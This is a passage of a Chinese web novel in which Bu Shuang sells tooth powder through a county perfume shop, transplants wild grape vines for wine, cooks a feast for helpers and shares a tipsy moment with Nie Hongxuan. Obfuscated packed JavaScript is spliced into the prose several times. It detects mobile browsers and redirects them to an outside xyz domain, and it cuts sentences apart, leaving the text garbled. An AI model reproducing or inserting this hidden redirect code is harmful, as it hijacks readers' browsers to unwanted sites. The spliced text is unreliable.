接下来，她把聂鸿轩拿来的剩下的药材都做出牙粉。 第二日卜家作坊给芳华阁交这个月香胰子的货时，卜霜就亲自跟了上去，坐着马车到了县城里芳华阁。 她一撩帘子下车，胖掌柜看到了她立刻就迎来出来，笑呵呵的：“卜姑娘，让伙计来送货就行了，你怎么还亲自来了。” “掌柜的，我这次来是有事情？” “何大爷今天在吗，我又有一笔生意要和他谈。” 胖掌柜不敢耽搁，“大爷这几日都在，卜姑娘和我来雅间吧。” 卜霜跟着胖掌柜到了雅间，何大爷正在看账本，见他们进来，放下账本，招呼道： “卜掌柜，今天怎么有空过来啊？” “何大爷，我做的香胰子卖的可好？” 一说起这个，何大爷就哈哈笑起来，“岂止是好，卜掌柜的香胰子在县城里都卖疯了，近些日子来颇受贵人小姐们的喜爱，每次芳华阁一摆上去，就被一抢而光，我已经把售价是一升再升啊，还是一摆到柜台上立刻就卖光，现在这香胰子已经成了县城里女子们最时兴的讨论的最多的东西，都在炫耀自己身上的香味是用的芳华阁的香胰子，我这芳华阁的名气更大了，那些老家伙开的香粉铺子可追不上我了。” “是吗，那何大爷怎么没让我们再多些呢？”卜霜惊讶。 没想到这香胰子竟然卖的这样火热。 看来不久之后，镇上和村里的女人也会效仿起来这股风潮，那她每月的分成就有更多了。 “卜掌柜，你也是做生意的，自然知道这种时候不能多加货，就是要让他们抢不到才好？”何大爷笑着。 卜霜眯了眯眼，她的食铺子刚开业时就是这样做的，但是这种营销手法在这个时代没几个人知道。 何大爷是一个很精明的生意人。 这就是卜霜和她合作的原因。 “那如果说，我想到了新的生意想和何大爷再合作一把呢？”卜霜笑道。 第83章 卜记 何大爷眼睛一亮：“卜掌柜请说。” 正好胖掌柜给他们上了热茶，端上来几盘干果点心。 卜霜就叫胖掌柜喊几个伙计把车里放着的牙刷和牙粉拿过来。 伙计把东西放在桌上。 “何大爷，这些是我新做的牙刷和牙粉，你看看。”卜霜道。 何大爷一听这包裹里是牙刷和牙粉，开始还有些不明白。 这牙刷和牙粉都是他平时用的东西，就算卜霜会做这些，也没什么新奇的。 直到卜霜示意他再好好看看，何大爷打开包裹，把那牙刷放在眼前看过后，又去嗅了嗅那牙粉，这才看出来有什么不一样。 “这牙刷做工好像和我平时用的不一样，更轻而且刷毛更密，而那牙粉，质地细腻，竟然还有不同的一股香味。”何大爷惊喜的问，“这也是卜掌柜想出来的？” 卜霜点点头：“牙刷我用的原料和现在卖的牙刷不同，成本更低但是更坚固耐用了，至于这牙粉，何大爷你光看怎么能够，要用过才知道好不好。” 何大爷哈哈大笑，当即就让胖掌柜拿进面盆，用她做的牙刷和牙粉刷牙。 看他洗完牙，卜霜问道：“何大爷用过之后觉得这牙粉比起你现在用的怎么样？” “神情气爽啊，你这牙粉比我现在用的还要好。”何大爷呼出气闻了闻，“果然刷完牙后嘴巴里都是我刚闻到的那股香味，这可是我用的牙粉做不到的。” “这些瓷罐子里装的都是不同效果的牙粉，我做了很多种不同功能的，比如这几罐子，可以美白，止血，止痛，这些罐子里装的，香味也像香胰子一样有各种不同的花香味，用料上面又便宜的也有更讲究贵重的，像珍珠粉这些，一定很受小姐们的喜爱。” “先是香胰子，现在又做出了比世面上更好的牙刷和牙粉，卜掌柜，这些年来我阅人无数，但是你实在是太聪明了，时时给我惊喜啊。”何大爷笑着夸赞道。 胖掌柜在一旁听着何大爷对卜霜的夸赞，有些惊讶，据他这么多年对东家的了解来看，他家东家很少会如此的夸赞一个人。 看来通过合作香胰子后这段时间的接触下来，东家从好奇欣赏已经转为十分信赖卜姑娘了。 “那何大爷觉得我这牙刷和牙粉可不可以再和芳华阁合作呢？”卜霜笑着问，其实心里已经很有自信了，“芳华阁最近可是大出风头，如果能趁机推出这样好用的牙刷和牙粉，那芳华阁的名气那就独一无二了。” “如果何大爷想像上次一样先做一批货出来，也是可以的。” 何大爷早就按捺不住了，立刻摆手道：“我们和卜掌柜也不是第一次合作了，对卜掌柜的能力也很了解，不用再这样做，只是不知道卜掌柜想要怎么合作呢？” “就像上次一样，五五分成。”卜霜道。 “好，好，什么都不说了，我们立刻签契。”何大爷很痛快的就答应了，让胖掌柜出去写契。 胖掌柜出去后，何大爷招呼卜霜喝茶，感叹道：“卜掌柜你做出的这些牙刷牙粉其实随随便便拿给任何一家香粉铺子都会有人识货的，但是你却还是直接拿来了芳华阁，是我该谢你。” 卜霜笑着：“我是和任何一个香粉铺都可以合作，可是县城里像何大爷这样聪明的商人可不多，我怎么会为了赚钱就失去何大爷这样的朋友呢。” 这些日子以来何大爷对她的拉拢之意当然感觉到了，他可是走南闯北**遍布产业颇有地位的商人，不过是选谁的铺子售卖牙刷和牙粉而已，卜霜自然是没有理由不和他交朋友。 何大爷听后哈哈大笑。 他们谈好了生意，签好契后，卜霜又坐了一阵，走之前把带来的牙刷牙粉都留了下来，何大爷这次亲自送出了她，俨然把她当做友人对待。 生意谈好的比想象中还要快，卜霜喜滋滋的坐着马车在县城里转。 她昨天已经和众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498016|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人商量过了。 牙粉牙刷要他们以后自己做是不太可能的，最好的办法就是卜霜再开一家作坊，雇人来做。 昨日他们就已经都分好了各自要做的事。 赵昭明今日去招新作坊里的帮工，武安村的上次招的都差不多了，所以她这次要去邻村招人。 卜霜今日来县城前就已经让伙计去请来了赵石头，既然要再开一家作坊，那她就要让赵石头和他手下的工匠们再盖一家作坊。 聂鸿轩去监工。 至于卜霜呢，趁着谈好生意的世间就去忙活酿葡萄酒的事情去了。 她要在县城里买一些山葡萄树，镇上肯定是没有的，但是据说县城里的西域人手里有卖。 卜霜在县城里逛了好久才找到有卖的山葡萄树的，不过只有小树苗，她就买了几颗小树苗，准备种在灵田里。 至于家里的大棚，她准备就把后山暖泉处的那几颗葡萄树移栽过去。 然后她就坐着马车去镇上了，又去了上次买酒坛子的瓷器窑，不过她这次过来和上次可不一样，她是要做大量的酒坛子的。 伙计一看她是坐着马车来的，就知道是个大顾客，大为热情。 “这个能做吗？”卜霜把需要的酒坛子样式早早的画在了纸上拿给伙计看，还是青色，带着盖子的阔口坛子。 只不过这次的坛子表面上刻着葡萄的纹路，然后底部刻着卜记的图案。 没错，她就是要让不管从哪里买了这酒的食客都知道这葡萄酒是出自卜记，扩大卜记的名气。 确定能做后，卜霜一下子就定了六十只酒坛子。 伙计没想到是这么大的一笔买卖，笑的眼睛都看不见了，确定好送货时间后，又送了卜霜一套上等的瓷器。 卜霜一看那碗盘精致正好可以拿来招待客人。 卜霜回了村子后，就叫了赵石头去后山帮她把暖泉处的几颗山葡萄树移栽到大棚里。 这移栽树可不是一件简单的事。 第84章 当归生姜羊肉汤 正好万路他们几个也回来了，连举人是个很开通的夫子，并不压抑孩子的天性，临近年节，他知道孩子们都乐疯了，观澜私塾最近只要念半日书就可以回家了，卜霜他们在路上见到了赶着牛车回来的几个孩子，就顺便让他们几个小崽子回家里拿着竹筐再赶着牛车过来后山。 他们一行人到了暖泉处，卜霜把暖泉旁边几颗山葡萄树指给他们看，这几颗葡萄树树干都很粗壮，根系庞大，并不好移栽。赵石头和工匠们立刻就拿着锹在树下挖土，要把葡萄树深埋的树根都挖出来，尽可能的保留主根，然后因为这树太大了，他们挖的时间要很长，所以边挖还要时不时得浇水保湿，万路几个小崽子就背着竹筐在树下到处跑着因为他们的动作掉下来的山葡萄，这些成熟了的山葡萄可不能浪费，拿回家里洗一洗还可以酿几坛酒的。 聂鸿轩本来也要去铲土的，但是卜霜想起他的身体，立刻拦住了他，指派给他一个不轻不重的活，负责把万路他们装满了山葡萄的竹筐往家里运，美名其曰这牛车一会儿要搬树，放不下别的，提前把这些重东西都搬回去的好。 聂鸿轩没动，满脸疑问的看着卜霜，这山葡萄树实在粗壮，他们这些人要移栽起来也不容易，多一个人多份力，她就让他做这个？ 卜霜看他不动，生怕别人看到，着急的推着他的后背向牛车走，一边还回头向着众**声道：“我这牛不听话，只有你会赶，聂哥儿你快点去啊。” 聂鸿轩被她推着走了两步，忽然明白了什么，嘴角弯着浅笑了一声。 这牛车还是万路他们赶回来的，怎么就没人会赶了，她就是担心他的身体，才欲盖弥彰的想让他干些轻松的活。 想来她都没想叫他过来，只是他就与赵石头他们在一处，才一起叫来了。 只是她实在不会撒谎，慌慌张张的样子也让人一眼就能看出来，只不过赵石头他们都在干活没人注意到。 他的笑声很轻，卜霜背着身没有看到聂鸿轩此时的样子有多么的好看。 这移栽葡萄树可不是一件简单的事。 他们一大堆人废了老大的劲儿，才把葡萄树的挖出来的根系都包上土球，土球用草绳和布条包裹固定。 借用了板车，快要天黑时才把一颗葡萄树搬到了牛车上。 中途他们还遇到几个来上山的村里人，围着他们看了一会儿，拉着牛车回家时又遇到好多村民，他们看他们这么多人前面走，后面的牛车上却运了一棵树，一下子都围了上来看，有人就好奇的问。 “卜媳妇你这是干啥呢，怎么搬了一颗树啊，这是要运哪去啊，那上面的果子不能吃啊？” “大婶，这是山葡萄树，我准备移回去几颗拿这果子酿酒。”卜霜道。 她没准备要瞒，直接说是要做葡萄酒用的。 一路上这么多人看到了他们从后山移栽树了，瞒也是瞒不住的，再说了就是让人知道她拿这山葡萄树是准备酿酒的也不打紧，恐怕都没几个人会信，就是信了，这怎么酿葡萄酒才是要保密的。 她住的独门独院的，酿酒的时候把门一关，谁也不知道她是怎么酿酒的。 那人果然听了后左右朝其他人对视一眼，就和众人一起笑道：“哎呦，那果子我们都吃过，酸的都不能入口，怎么酿酒啊，就是酿出来也不能喝啊，卜媳妇你不会是被谁骗了吧？” 卜霜但笑不语。 牛车回到家了，等到他们把葡萄树合力种到大棚里的时候，天已经彻底黑下去了。 卜霜干脆就把人都留了下来吃饭，他们自从上次暖房宴后也好久没有这么多人聚在一起了。 工匠们都很惦记卜霜的手艺，但是又不好意思，推让了一番后，见卜霜实在坚持就答应了。 卜霜就让万辽去把张婶也喊来吃饭，又让万絮去门口看赵昭明什么时候回来。 等赵昭明母子俩，聂鸿轩和张婶，赵石头和工匠们都到了，卜家小院立刻热闹起来。 大家都已经很熟了，也不需要卜霜招待，卜霜就去了厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505186|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房。 万辽跟在她后面问道：“娘，晚饭要做什么啊？” 卜霜道：“你赵叔叔他们帮了我们很大忙，这次一定要吃顿好的。” 如果不是赵石头和工匠们二话不说去帮忙移栽山葡萄树，只靠她们几个，恐怕一周也移不过来。 卜霜很感谢，而且第二天，大家还要去后山去移栽另外几颗山葡萄树，无论是移栽树还是盖作坊这都是力气活，赵石头他们都说她是他们的朋友，帮朋友的忙不收钱，卜霜自然要做顿好的。 卜霜想了想，那就做一道鸡肉炖土豆，一道酸菜猪蹄锅，红烧肉，骨头汤，再来一道当归生姜羊肉汤吧。 自从她去何府办过席面之后，再做这些菜简直不在话下，一个人就可以料理的来。 万辽自告奋勇给生火。 卜霜就开始处理食材，先做鸡肉炖土豆，卜霜先把鸡肉剁块焯水，加入料酒焯水后捞出，土豆去皮切快。 热油爆香葱姜，八角，放入鸡肉翻炒到变色，然后加入生抽，老抽，糖调味，然后倒入开水没过鸡肉。 大火炖煮鸡肉，然后加入土豆，再一起炖煮，直到鸡肉变得软烂，收汁后撒上葱花。 这样第一道菜就快速做好了，就连万辽都感觉到她做菜的速度明显更快了。 接下来，卜霜又把猪蹄剁块焯水，放入砂锅里，加入姜片，热水炖一个时辰。 她把自己腌的酸菜切丝炒干水分，加入泡椒翻炒出香味后，将炒好的酸菜加入猪蹄汤里，再炖煮一会儿，最后只要在炖好的猪蹄汤里加入白胡椒粉调味，酸菜猪蹄锅就做好了。 趁着这个时间，卜霜开始做别的菜。 红烧肉这道已经加入卜记食铺的才卜霜已经做的驾轻就熟了。 她快速把五花肉切块焯水，煸炒出油后裹上汤色，然后家料酒，生抽，老抽，加入热水没过猪肉，放入香叶，桂皮，炖煮到收汁。 万辽简直看的目瞪口呆。 第85章 让你继续读书 就这么一会儿功夫，娘居然就做好了三道菜。 卜霜继续忙着，她又把清理好的骨头放入锅里，加入姜片，料酒焯水后捞出，之后再把骨头放在锅里放入热水，煮沸后撇去浮沫。 然后加入玉米，胡萝卜块和骨头一块儿炖煮，加入盐调味，直到汤色变的奶白，骨头汤就可以出锅了。 最后一道菜有些特殊，这当归生姜羊肉汤是卜霜专门给聂鸿轩做的。 虽然他昨日最后还是没有告诉她他有什么隐疾，但是多给他补补身体总没有错的。 这当归生姜羊肉汤，可以驱寒暖身，对他的身体有益。 卜霜把羊肉处理后切片浸泡去血水，然后冷水下锅，加入姜，料酒，大火煮开撇去浮沫后捞出用温水冲洗干净。 当归清洗后，将红枣去核，生姜拍开。 然后把羊肉，当归，生姜，红枣都放入锅中，加入开水。 大火炖煮，直到用筷子可以穿透羊肉，最后加入枸杞，盐，白胡椒粉调味。 这样五道菜就全部做好了。 卜霜又蒸了一锅大米，把卤味和咸菜切好装盘，就招呼孩子们进来端菜。 村里人吃饭不像何府一样讲究，道道菜里都有肉，这就是最好的饭菜了。 菜刚开始做的时候，诱人的香味就已经飘出去了，等到菜一上桌，那香味更是勾人。 赵石头望着桌上的菜，馋的口水都要出来了，自从暖房宴后，他都好久没有吃到这么香的菜了，他搓了搓手，感叹了一句：“卜妹子你做的菜真是看着就下饭，今天我们能大饱口福了，这种时候要是有一坛酒就好了。” “赵大哥，酒我这里也有啊，你们等着。”卜霜立刻拎出一坛上次酿的葡萄酒。 赵昭明笑道：“这可是卜妹妹自己酿的酒，一共就酿了三坛，我们喝了一坛，给了我一坛，现在就只剩下一坛了，哥你们今晚可有口福了。” “是吗，卜妹子酿的那一定好喝，我可要尝尝。”赵石头乐呵呵的就倒了一碗葡萄酒，看着碗里酒水的色泽，惊叹道，“不得了，这酒竟然是紫红色的，我赵石头喝了这么多年的酒可从来没有见到酒能做到这个颜色。” “这葡萄酒啊只有到了县城才有卖的，一坛酒就价值不菲呢，只有那有钱的人才喝过，你平日都喝一些便宜的酒当然没有见过啦。”赵昭明道。 “卜掌柜大气。” “卜掌柜真大气。” 工匠们听赵昭明这么一说就知道这酒有多珍贵，可这么好的酒卜霜居然眼都不眨一下的就拿了出来给众人喝，工匠们心里一时间都有些热热的，连声夸赞道。 “如果不是你们今日帮我移栽山葡萄树，我哪里还能有山葡萄酒继续酿酒啊，大家都不要客气，尽管喝，有了这山葡萄我之后就还可以再酿出来。”卜霜就笑。 众人也就不再推辞，急忙拿着酒坛子都给自己的碗里倒了一碗，迫不及待就喝下去。 “果然是好酒啊，我吕大跟着卜掌柜的，没想到连这种好酒都能喝到了。”其中一个工匠道。 “吕大，你这么快就把一碗酒都喝下去了，喝水都没有这么快，你确定能品出什么味道？” 众人笑作一团。 趁着众人兴致高，卜霜坐到聂鸿轩旁边，悄悄将那道当归生姜羊肉汤移到聂鸿轩面前。 聂鸿轩转头看她，眼神中带着询问：“这是？” “这是当归生姜羊肉汤，我专门给你做的，我问过药铺了，这道菜可以滋补养身，你多吃些。”卜霜悄声道。 聂鸿轩看着眼前冒着热气的羊肉，一愣，片刻后又看着卜霜的脸，故意道。 “你又不知道我是什么病，就敢给我开药方？” “这不是药方，我问过了，任何人都可以吃的，都有好处。”卜霜有些， “你既然不想说，那我以后就不问了，我等着你什么时候想说了再和我说，聂哥儿，我说了我可以帮你，这不是玩笑话，在你愿意主动告诉我之前，就让我帮你吧。” 卜霜眼睛亮亮的，里面满是真诚。 “快喝。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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一顿饭吃连吃带喝着，众人也有很长时间没见了，说笑间频频对饮，这顿晚饭吃的是又满足又开怀。 吃完饭，万路万絮几个小的开始在院子里玩起了游戏。 院子里起了风，卜霜觉得有些冷，就想回了屋子取披风。 都说开心的时候容易喝醉，卜霜一站起来才发现头晕乎乎的，她不知不觉间竟有些喝醉了。 走回屋子的时候还没什么，结果她从屋子里出来时脚下就被什么一绊，差些要倒，没想到下一刻她居然一头撞进了聂鸿轩怀里。 聂鸿轩不知道什么时候过来的，眼疾手快一手就抓住卜霜把她拉了回来。 卜霜被拉回来，瞬时就抱住了聂鸿轩的腰。 两人抱了个满怀。 聂鸿轩眼睛微微睁大，卜霜的头发蹭着他的肩颈，像是有什么东西从她指尖触到地方流淌到了他的心里，聂鸿轩手指颤了颤，想要避开。 卜霜像是察觉到了什么，忙紧了紧搂着他的腰身道。 “哎，你别动。” 聂鸿轩就一动不敢动了，吃饭时她在坐在旁边时那股淡淡花香味现在变得无比明显，他像是捧了花香入怀。 “怎么了？”聂鸿轩轻声问道。 “我头有些晕，你让我靠一下。” 卜霜本来就有点醉意，刚刚那一下现在晕的站都站不稳。 “好。” 聂鸿轩应了一声，然后就挺直了身体好让卜霜牢牢的靠着。 月色如银，院子里欢声笑语，小孩子们叽喳闹着，夹杂着赵昭明的笑骂。 院子里那么多人，两人却在谁都不知道的角落里静静相拥。 “你怎么过来了。” “我看你起身的时候脚步不稳，好像醉了，就来看一眼。” “还好你来了。”卜霜听了一阵院子里的声音，轻笑：“赵姐姐又在骂大壮了。” 她感叹，“真好。” 聂鸿轩忽然就想起上次喝酒时，赵昭明对卜霜说过的话。 “我们卜大美人啊，心灵手巧，长的又这么漂亮，没有什么是你不会的，以后不知道哪个小郎君有福气能娶你这样的姑娘。” “你还这么年轻，迟早有一天还会遇到一个情投意合，对你好的小郎君的，就是不知道谁有这个福气喽。” 她还是会和别人成婚吗？ 和一个年轻，情投意合，对她很好的男人？ 聂鸿轩手指紧了紧，不知道为什么，想到这里他竟然有一些异样，没忍住问了一句： “卜霜，你之后想做什么？” 卜霜想了想，然后就笑的很开心：“我要买地，买好多好多地，然后再开一家酒楼，赚好多好多钱。” 一提到钱，她的声音都活跃起来了，虽然不是聂鸿轩想要的答案，但是他听着也忍不住笑了。 “之后呢？” “之后？”卜霜歪头又想了一会儿，道，“把我家四个小崽子养大。” “那，再之后呢？”聂鸿轩小心道。 卜霜皱着眉头又想了想，忽然抬头： “之后，我要治好你的隐疾，让我们聂哥儿可以继续读书科考，做你想做的事。” 她笑了起来，清澈的眼睛明目张胆的看着他，这一刻，聂鸿轩心中像是升腾起了年节时满城的焰火。 她都知道。 这些他从不敢对人说的内心。 “你是怎么知道？”聂鸿轩艰涩的咽了咽口水。 为什么知道？ 很明显啊。 卜霜道：“我去过你家，你家里有很多书，都保护的很好，我每次找你的时候总能看到你拿着书在读，虽然你不说，但是每次万路万絮他们几个有不会的学业去问你的时候，你脸上的神采和平时很不一样，专注温和发着光，而且你看着万路他们时，身上会有一种淡淡的失落。” 这些卜霜在清醒的时候绝对不会说的对他的观察，就这么在醉意间被他一问全部吐出来。 “聂哥儿，我知道，你肯定是想像万路他们一样，继续在书院读书的，你的学问可以与镇上的连举人侃侃而谈，万路万絮他们入学时我问过连举人了，他对我说你的学问比他要好许多，说你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508397|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全可以去科考，你是因为自己的身体才会如此，所以我很想治好你的隐疾。” “为什么？”聂鸿轩深深的看着她。 为什么这么观察他，为什么什么都知道，为什么这么想帮他？ “因为你是我的朋友，是你救了我，这么长时间以来好像一直以来都是你在帮我，我也想帮你做点什么。” 卜霜看着他好看的眼睛，好像被蛊惑了一样，伸出手碰了碰他的唇角。 “我想让你以后一直都像今天一样开心。” 聂鸿轩这才意识到他一直在笑着。 他深深的看着卜霜。 这个姑娘总是充满生命力，她身上好像有用不完的劲一样，他一路看着她从什么都没有，到如今的模样，她就连吃饭都是不顾形象的，可是她身上的力量总能感染到他，让他也能有很多的力量去追逐自己想要的。 他眼里的淡漠轻轻化去了。 卜霜的这些话让聂鸿轩想通了纠缠他很久的事情。 而做到这些的人却醉呼呼的什么都不知道，一阵风吹来，卜霜打了个喷嚏，又在他怀里蹭了蹭，寻找暖和的地方。 她说他是朋友。 这好像不是他心里想要听到的答案，但是他又觉得做朋友好像也不错。 聂鸿轩道： “卜霜，你醉了。” “我好像是有点，不过你也醉的不轻。”卜霜小声道，疑惑他居然都不叫她卜姑娘了。 聂鸿轩笑了笑：“对，我也醉了。” 他给卜霜披好衣服，把她裹的严严实实的，等她的醉意散了些许，可以站稳了才放开。 这日晚上大家都睡的特别好。 第二日鸡鸣后，卜霜早早就和万路万絮几个起来了，她精神百倍，照常擦脸刷牙，然后去厨房给几个小崽子热好早饭，端上桌让孩子们过来吃，之后卜霜就去了后院喂牛喂鸡喂兔子。 吃过早饭，万辽和万萱跑过来和她一起喂动物，万辽看了看棚里的动物忽然道：“有牛，有鸡，有兔子，娘，咱什么时候再养别的啊？” 第87章 马车 卜霜喂完拍了拍手，点点他的头：“不养。” 牛是拉人的，鸡是吃蛋的。 肉铺掌柜家那么多猪了，她想吃猪肉有的是渠道，还养猪干啥。 不过这兔子都生了好几窝了，也太多了，卜霜想着啥时候可以卖一些了。 今日她还是要和赵石头他们几个人去后山移栽剩余的两颗山葡萄树，她特意早起了一些时间，这样最好一天就都能移好。 有了昨日的事情，卜霜今日干脆就没有叫聂鸿轩过来，而是把她派去和赵昭明一起招帮工。 万路和万絮几个小孩要去私塾，就不能过来帮忙了。 他们移栽山葡萄树要用牛车，所以今日万路他们五个就只能搭着村里大爷的牛车一起去镇上了。 等赵石头一行人到了，卜霜就和他们赶着牛车一起去了后山。 他们到了后山还是继续按照昨日的分工来做活。 有了昨日移栽山葡萄树的经验，大家干起活来都快了不少。 卜霜拿着篮子就到处在那捡掉下来的山葡萄。 太阳晒着，旁边还有暖泉发出来的热气，虽然天气很冷，但是他们不仅不冷，身上还热乎乎的出了汗。 这暖泉果然是个好东西。 卜霜接了大半篮子山葡萄，正要放在牛车上，她不经意间抬眼，就在这时，她隐约看到远处有个小黑点正在移动，好像是有人骑着马向着她这个方向过来了，卜霜差点以为自己看错了。 武安村里连牛都很少见，怎么会有人骑马？ 直到那人影近了，马上的人相貌变得越来越熟悉。 卜霜瞪大眼睛，十分惊讶。 何喻昌？ 何喻昌明显也看到她了，他笑的露出一口大银牙，在风中一颠一颠的，一边招手一边大声对她喊道：“卜霜，卜霜。” 那样子说不出的好笑。 他的声音大的让人想听不到都难，赵石头他们立时都停了手上的动作，看了看马上那锦衣大叫的公子一眼又闻声都看向卜霜。 这何喻昌犯傻还要带着她，卜霜扶住头，很难堪的背过身去，赵石头他们目光要多奇怪就有多奇怪，卜霜根本不想理他。 谁知道这小少爷怎么跑过来了。 何喻昌在前面骑着马快速的跑出一段距离，这才能看到马后面的路上遥遥还跟着一个小厮，那小厮气喘吁吁的追着马，上气不接下气的喊道。 “公子，公子你慢点。” 那马跑到卜霜跟前，何喻昌一撩衣袍从马上跳下来。 他可能以为自己一套下马的动作很好看，只不过这山脚下到处都是石头，赵石头他们移栽树的时候又挖出了好多土，何喻昌一落地就歪了脚，“哎哎哎”他惊呼着扭着身子快要倒下。 小厮看到了捂着脸在后面大叫：“公子，哎呦，我的公子哎，您要下马跟小的说一声，这要是摔个好歹的，小的回去之后可怎么和老夫人交代哦。” 一个公子一个小厮，主仆两话也太多了，两个人吵出了一群人的感觉。 卜霜实在是听不下去了，伸手扶住何喻昌。 何喻昌抓着她的胳膊狼狈的站起来，还很不满：“我叫你半天了，你怎么不回我啊。” 卜霜看了一眼在坑里正好奇的听着的赵石头等人，拉着何喻昌，不顾他哎哎哎的惊叫，就急走了几步，避开众人，这才放开他小声问道：“你来这儿干嘛啊？” 她一顿，紧接着想到了一个更为重要的事情：“不对，你怎么知道我在这儿的？” 何喻昌眯眼一笑：“这有什么难的，我是不知道你住哪，但是我能打听啊，你之前看完田地之后不是坐着我家的马车回了家吗，我就去问车夫他把你送哪了，车夫就告诉我你在武安村的哪哪哪。” “你又没来过我们村子，他告诉你你一下就找到了？”卜霜显然不信。 “你听我说啊，车夫是和我说了，但是你们村子太绕了，我找不到，然后我进了村子我就一路问人知不知道你住在哪，别说你还挺出名，人们都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512319|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道你，我就一路打听着到了你家，结果你不在，我就又问路上的人有没有人见到你去哪了，还真有。”何喻昌一拍手，“这不就找到你了吗。” 他很兴奋的讲着这路上怎么找到她的，说完后一脸你看我多聪明的样子。 卜霜却倒吸了一口气，嘴角都在抖。 也就是说，这货就这么骑着马无比张扬的问了一路？那不是全村的人都知道了。 明日说不定要传出什么来。 何喻昌一脸果然你什么不知道的表情，傲气十足的道：“当然不是，我坐着马车过来的，但是你这儿马车进不来，我就把套子一松，骑着马过来了。” 很好，他那高头大马拉着的无比华美的马车比骑着马还要张扬无数倍。 这下卜霜可以确定何喻昌引起了多大的轰动。 卜霜深吸一口气，咬牙道：“你究竟跑来是要干嘛？” “我是来和你说，那牙侩和田主商量了好久，田主松口了，那些地还能再便宜点。” “就因为这？”卜霜一抬头，那怒火就停了稍许，看着何喻昌真诚清澈的笑容，心里有些说不出的感觉。 他一个富贵人家的小公子，在家待着多舒服啊，绕了这么些路吹着风跑来武安村，就是为了告诉她那田又便宜了？ 而且卜霜也没让牙侩再去和田主商量价格啊？ “是你让牙侩去和田主商量的吗？”卜霜问。 “你不是说你钱不够吗，我就只能想这么个办法稍微帮你了。”何喻昌又道，“其实也不全是为了这个，我一个人待着没意思，顺便想看看你干嘛呢，有没有像上次去看田那样好玩的事。” 他说着就左右看了一圈，嘴里忙个不停：“你们这么多人在这干啥呢？挖树？” 卜霜那么一点点的感动就又没了。 他觉得她们在这干活很好玩？ 何喻昌的眼睛看向赵石头他们几个，很嫌弃的摇头：“穿的这是什么啊，跟泥坑里滚过一样的太脏了。” 第88章 好 正好有一个工匠觉得热，把袖子往上撸了撸。 何喻昌又摇了摇头，“举止粗鲁，太粗鲁了，还光着膀子。” 他忽然想起了什么，一转头看向卜霜，立刻就伸手来捂她的眼睛。 “不是还有姑娘在呢，这都什么人啊，居然光膀子。” 卜霜连忙看了看，还好赵石头他们的目光已经被何喻昌那匹黑色的马吸引了，满是惊叹的围着那马看，没有注意到何喻昌对他们的讨论。 卜霜把何喻昌的手扒拉下来，拿了一把铲子给他。 “好玩是吧，既然来了，那你也来玩一玩。” 卜霜向那几个摸着马的大汉喊道：“赵大哥，他想和你们一起干活，你教教他。” 聂鸿轩还拿着卜霜给他的那把铲子放在眼前左右看着，抬头问：“这是什么，干嘛啊？” “挖树啊。”卜霜道。 聂鸿轩看了眼那土坑，满眼不可思议。 “你让我穿着这身衣服去铲土？” 赵石头也有些局促：“是啊，卜妹子，这公子的衣服看着就金贵，几铲子土挖下去可就脏了，别了吧。” 卜霜挥手：“那何公子就赶快走吧，我这儿办正经事呢，没工夫和你闲聊。” 一听她这样说，何喻昌就不干了：“挖就挖。” 他夺过卜霜手里的铲子，下那坑前，贴近卜霜面前恶声道：“是何喻昌。” 卜霜一愣。 这才想清楚他在说什么。 不是何公子，她说好了的，要叫他何喻昌。 卜霜失笑。 正好跟着他的小厮气喘吁吁的跑过来了。 何喻昌一指扶着腿在那里喘气的小厮：“你下来和我一起挖。” 他一指在旁边的小厮，“和我一起挖。” “公子，我就不了吧。”他的小厮穿的也是很体面的，一听自家公子的话立刻摇手。 “小爷的话你也不听了。”何喻昌递给小厮一把铲子，把他拖了下来。 